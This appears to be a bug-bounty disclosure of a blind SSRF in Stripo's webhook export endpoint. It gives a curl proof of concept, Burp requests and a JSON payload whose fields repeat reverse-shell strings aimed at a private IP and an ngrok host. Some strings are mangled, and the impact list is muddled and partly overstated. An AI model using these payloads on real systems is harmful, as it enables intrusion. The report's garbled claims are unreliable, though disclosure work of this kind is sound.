[my.stripo.email] Blind SSRF Vulnerability in Stripo App Export via Missing Endpoints Export Email Message to Zapier

How it was found

Introduction Vulnerability Overview

This presentation covers a critical Blind SSRF (Server-Side Request Forgery) vulnerability identified in Stripo's export service. SSRF vulnerabilities allow attackers to manipulate a server to make arbitrary requests to internal or external systems, potentially leading to severe security breaches. The vulnerability exists in the endpoint /exportservice/v3/exports/WEBHOOK/accounts. By providing malicious input in the webhookUrl parameter, an attacker can trigger SSRF, allowing the server to make unauthorized HTTP requests to attacker-controlled systems.

Exploitation Details

Proof of Concept (PoC)

The following curl command demonstrates the vulnerability exploitation: https://my.stripo.email/editor/v5/1529528/email/8891640

curl -i -X POST 'https://my.stripo.email/bapi/exportservice/v3/exports/WEBHOOK/accounts/52027412' \
--data '{
  "id": 52027412,
  "name": "sh -i & devtcp192.168.100.3 0&1",
  "oAuthRequired": false,
  "authLink": null,
  "draft": false,
  "destination": "WEBHOOK",
  "properties": {
    "headers": [
      {
        "name": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1",
        "value": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1"
      }
    ],
    "accountName": "sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookUrl": "https://cd7c-101-255-157-9.ngrok-free.app/sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookType": "CUSTOM"
  },
  "public": false
}'

Resulting HTTP Request When processed, the application generates the following HTTP request to the specified webhookUrl:

POST /webhook/sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.100.3%2F9001%200%3E%261/ HTTP/1.1
Host: 5290-101-255-157-9.ngrok-free.app
User-Agent: Apache-HttpClient/4.5.14 (Java/21.0.5)
Content-Length: 104
Accept: application/json
Accept-Encoding: gzip,deflate
Traceparent: 00-58ae5f178436f516dfed5bcabe66e0a4-6f1c4d73cae918b9-00
X-Forwarded-For: 54.247.167.106
X-Forwarded-Host: 5290-101-255-157-9.ngrok-free.app
X-Forwarded-Proto: https

HTTP Request via Burp Suite

POST /bapi/exportservice/v3/exports/WEBHOOK/accounts/52027412 HTTP/1.1
Host: my.stripo.email
Content-Type: application/json
Content-Length: 457

{
  "id": 52027412,
  "name": "sh -i & devtcp192.168.100.3 0&1",
  "oAuthRequired": false,
  "authLink": null,
  "draft": false,
  "destination": "WEBHOOK",
  "properties": {
    "headers": [
      {
        "name": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1",
        "value": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1"
      }
    ],
    "accountName": "sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookUrl": "https://cd7c-101-255-157-9.ngrok-free.app/sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookType": "CUSTOM"
  },
  "public": false
}

Payload:

{
  "id": 52027412,
  "name": "sh -i & devtcp192.168.100.3 0&1",
  "oAuthRequired": false,
  "authLink": null,
  "draft": false,
  "destination": "WEBHOOK",
  "properties": {
    "headers": [
      {
        "name": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1",
        "value": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1"
      }
    ],
    "accountName": "sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookUrl": "https://cd7c-101-255-157-9.ngrok-free.app/sh -i & devtcpbe7e-101-255-157-9.ngrok-free.app9001 0&1",
    "webhookType": "CUSTOM"
  },
  "public": false
}

{F3939737}

Impact

Data Exfiltration:

• Attackers can leverage SSRF to access sensitive internal network data, such as cloud metadata, internal API endpoints, or other restricted services. port-scan
• Missing Endpoints Export Email Message to Zapier
• Control character allowed in Export Email Message to Zapier
• URL Not have filthered as webhook/email.tar.gz
• Internal Resource Access: Blind SSRF allows accessing internal services or endpoints, bypassing network restrictions.
• Chained Attacks: It could lead to advanced exploitation, such as retrieving sensitive metadata or executing remote commands.